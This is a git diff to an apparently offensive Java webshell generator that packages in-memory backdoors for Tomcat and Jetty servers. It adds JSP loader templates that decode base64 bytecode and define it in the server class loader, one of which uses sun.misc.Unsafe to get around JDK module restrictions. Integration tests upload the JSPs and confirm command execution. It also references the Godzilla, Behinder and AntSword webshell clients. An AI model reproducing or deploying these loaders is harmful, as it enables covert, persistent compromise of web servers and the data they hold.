diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java b/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java
index b2861300..1f0d2bda 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java
@@ -24,9 +24,7 @@ import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
-import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
-import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
-import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
+import com.reajason.javaweb.memshell.packer.jsp.*;
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
@@ -68,7 +66,9 @@ public enum Packers {
* JSP 打包器
*/
JSP(new JspPacker()),
- DefaultJSP(new DefalutJspPacker(), JspPacker.class),
+ ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
+ DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
+ BypassDefineClassJSP(new BypassDefineClassJspPacker(), JspPacker.class),
JSPX(new JspxPacker(), JspPacker.class),
/**
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/BypassDefineClassJspPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/BypassDefineClassJspPacker.java
new file mode 100644
index 00000000..99c98f46
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/BypassDefineClassJspPacker.java
@@ -0,0 +1,34 @@
+package com.reajason.javaweb.memshell.packer.jsp;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import lombok.SneakyThrows;
+import org.apache.commons.io.IOUtils;
+
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/26
+ */
+public class BypassDefineClassJspPacker implements Packer {
+
+ String jspTemplate = null;
+
+ public BypassDefineClassJspPacker() {
+ try {
+ jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
+ } catch (Exception ignored) {
+
+ }
+ }
+
+ @Override
+ @SneakyThrows
+ public String pack(GenerateResult generateResult) {
+ String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
+ String injectorClassName = generateResult.getInjectorClassName();
+ return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
+ }
+}
\ No newline at end of file
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefalutJspPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/ClassLoaderJspPacker.java
similarity index 91%
rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefalutJspPacker.java
rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/ClassLoaderJspPacker.java
index b2b0f7cb..6bf705be 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefalutJspPacker.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/ClassLoaderJspPacker.java
@@ -12,11 +12,11 @@ import java.util.Objects;
* @author ReaJason
* @since 2024/11/26
*/
-public class DefalutJspPacker implements Packer {
+public class ClassLoaderJspPacker implements Packer {
String jspTemplate = null;
- public DefalutJspPacker() {
+ public ClassLoaderJspPacker() {
try {
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefineClassJspPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefineClassJspPacker.java
new file mode 100644
index 00000000..42b9f8a8
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jsp/DefineClassJspPacker.java
@@ -0,0 +1,34 @@
+package com.reajason.javaweb.memshell.packer.jsp;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import lombok.SneakyThrows;
+import org.apache.commons.io.IOUtils;
+
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/26
+ */
+public class DefineClassJspPacker implements Packer {
+
+ String jspTemplate = null;
+
+ public DefineClassJspPacker() {
+ try {
+ jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
+ } catch (Exception ignored) {
+
+ }
+ }
+
+ @Override
+ @SneakyThrows
+ public String pack(GenerateResult generateResult) {
+ String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
+ String injectorClassName = generateResult.getInjectorClassName();
+ return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
+ }
+}
\ No newline at end of file
diff --git a/generator/src/main/resources/shell.jsp b/generator/src/main/resources/shell.jsp
index 6cacca09..147d0e92 100644
--- a/generator/src/main/resources/shell.jsp
+++ b/generator/src/main/resources/shell.jsp
@@ -1,50 +1,27 @@
<%!
public static class ClassDefiner extends ClassLoader {
- public ClassDefiner() {
- super(Thread.currentThread().getContextClassLoader());
+ public ClassDefiner(ClassLoader classLoader) {
+ super(classLoader);
}
-
- public byte[] decodeBase64(String bytecodeBase64) {
- ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
- try {
- Class> base64Clz = classLoader.loadClass("java.util.Base64");
- Class> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
- Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
- return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
- } catch (Exception ee) {
- try {
- Class> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
- return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
- } catch (Exception e) {
- return null;
- }
- }
- }
-
public Class> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
-
- @Override
- public String toString() {
- String className = "{{className}}";
- String base64Str = "{{base64Str}}";
- ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
- try {
- classLoader.loadClass(className).newInstance();
- } catch (Exception e) {
- try {
- byte[] bytecode = decodeBase64(base64Str);
- Class> clazz = defineClass(bytecode);
- clazz.newInstance();
- } catch (Exception ignored) {
- }
- }
- return className;
- }
}
%>
<%
- new ClassDefiner().toString();
+ ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+ String base64Str = "{{base64Str}}";
+ byte[] bytecode = null;
+ try {
+ Class base64Clz = classLoader.loadClass("java.util.Base64");
+ Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
+ Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
+ bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
+ } catch (ClassNotFoundException ee) {
+ Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
+ bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
+ }
+ Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
+ clazz.newInstance();
%>
\ No newline at end of file
diff --git a/generator/src/main/resources/shell.jspx b/generator/src/main/resources/shell.jspx
index 6b50ff95..be3e4276 100644
--- a/generator/src/main/resources/shell.jspx
+++ b/generator/src/main/resources/shell.jspx
@@ -3,51 +3,28 @@
base64Clz = classLoader.loadClass("java.util.Base64");
- Class> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
- Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
- return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
- } catch (Exception ee) {
- try {
- Class> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
- return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
- } catch (Exception e) {
- return null;
- }
- }
- }
-
public Class> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
-
- @Override
- public String toString() {
- String className = "{{className}}";
- String base64Str = "{{base64Str}}";
- ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
- try {
- classLoader.loadClass(className).newInstance();
- } catch (Exception e) {
- try {
- byte[] bytecode = decodeBase64(base64Str);
- Class> clazz = defineClass(bytecode);
- clazz.newInstance();
- } catch (Exception ignored) {
- }
- }
- return className;
- }
}
]]>
\ No newline at end of file
diff --git a/generator/src/main/resources/shell1.jsp b/generator/src/main/resources/shell1.jsp
new file mode 100644
index 00000000..317ae988
--- /dev/null
+++ b/generator/src/main/resources/shell1.jsp
@@ -0,0 +1,18 @@
+<%
+ ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+ String base64Str = "{{base64Str}}";
+ byte[] bytecode = null;
+ try {
+ Class base64Clz = classLoader.loadClass("java.util.Base64");
+ Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
+ Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
+ bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
+ } catch (ClassNotFoundException e) {
+ Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
+ bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
+ }
+ java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+ defineClass.setAccessible(true);
+ Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
+ clazz.newInstance();
+%>
\ No newline at end of file
diff --git a/generator/src/main/resources/shell2.jsp b/generator/src/main/resources/shell2.jsp
new file mode 100644
index 00000000..a718f65e
--- /dev/null
+++ b/generator/src/main/resources/shell2.jsp
@@ -0,0 +1,42 @@
+<%@ page import="java.lang.reflect.Method" %>
+<%@ page import="java.lang.reflect.Field" %>
+<%@ page import="java.net.URLClassLoader" %>
+<%@ page import="java.net.URL" %><%
+ String base64Str = "{{base64Str}}";
+ byte[] bytecode = null;
+ ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+ try {
+ Class base64Clz = classLoader.loadClass("java.util.Base64");
+ Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
+ Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
+ bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
+ } catch (ClassNotFoundException e) {
+ Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
+ bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
+ }
+ Object unsafe = null;
+ Object rawModule = null;
+ long offset = 48;
+ Method getAndSetObjectM = null;
+ try {
+ Class> unsafeClass = Class.forName("sun.misc.Unsafe");
+ Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
+ unsafeField.setAccessible(true);
+ unsafe = unsafeField.get(null);
+ rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
+ Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
+ Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
+ offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
+ getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
+ getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
+ } catch (Throwable ignored) {
+ }
+ URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
+ Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+ defMethod.setAccessible(true);
+ Class> clazz = (Class>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length);
+ if (getAndSetObjectM != null) {
+ getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
+ }
+ clazz.newInstance();
+%>
\ No newline at end of file
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
index f59610a8..5a24addf 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
@@ -2,6 +2,7 @@ package com.reajason.javaweb.integration;
import com.reajason.javaweb.antsword.AntSwordManager;
import com.reajason.javaweb.behinder.BehinderManager;
+import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.memshell.*;
import com.reajason.javaweb.memshell.config.*;
@@ -17,8 +18,6 @@ import okhttp3.HttpUrl;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
-import org.java_websocket.client.WebSocketClient;
-import org.java_websocket.handshake.ServerHandshake;
import org.testcontainers.containers.Container;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
@@ -28,18 +27,16 @@ import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair;
import org.testcontainers.utility.MountableFile;
import java.io.IOException;
-import java.net.URI;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Objects;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.*;
+import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
+import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
@@ -207,41 +204,8 @@ public class ShellAssertionTool {
@SneakyThrows
public static void testWebSocketCommandIsOk(String entrypoint, String payload) {
- final CountDownLatch latch = new CountDownLatch(1);
- final String[] responseHolder = new String[1];
- final long timeout = 5;
-
- WebSocketClient client = new WebSocketClient(new URI(entrypoint)) {
- @Override
- public void onOpen(ServerHandshake data) {
- send(payload);
- }
-
- @Override
- public void onMessage(String message) {
- responseHolder[0] = message;
- latch.countDown();
- close();
- }
-
- @Override
- public void onClose(int code, String reason, boolean remote) {
- }
-
- @Override
- public void onError(Exception ex) {
- }
- };
-
- client.connect();
-
- boolean connected = latch.await(timeout, TimeUnit.SECONDS);
- if (!connected) {
- fail("连接超时,未能成功连接到 WebSocket 服务器");
- }
-
- String res = responseHolder[0];
- assertTrue(res.contains("uid="));
+ String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(entrypoint, payload);
+ assertTrue(response.contains("uid="));
}
public static void testBehinderIsOk(String entrypoint, BehinderConfig shellConfig) {
@@ -340,9 +304,9 @@ public class ShellAssertionTool {
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer> container) {
switch (packer) {
- case JSP -> {
+ case JSP, ClassLoaderJSP, DefineClassJSP, BypassDefineClassJSP -> {
String uploadEntry = url + "/upload";
- String filename = shellType + shellTool + ".jsp";
+ String filename = shellType + shellTool + packer + ".jsp";
String shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl);
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java
index 2ecd36d2..2ab36c18 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java
@@ -57,7 +57,7 @@ public class Jetty11ContainerTest {
ShellType.JAKARTA_LISTENER,
ShellType.JETTY_AGENT_HANDLER
);
- List testPackers = List.of(Packers.JSP);
+ List testPackers = List.of(Packers.JSP, Packers.BypassDefineClassJSP, Packers.JSPX);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword)
);
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java
index 77c18711..6eb3bdfa 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java
@@ -60,7 +60,7 @@ public class Tomcat11ContainerTest {
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
- List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
+ List testPackers = List.of(Packers.BypassDefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java
index e67abd07..31a1ae74 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java
@@ -60,7 +60,7 @@ public class Tomcat8ContainerTest {
ShellType.WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE);
- List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJREAttacher);
+ List testPackers = List.of(Packers.ClassLoaderJSP, Packers.DefineClassJSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJREAttacher);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}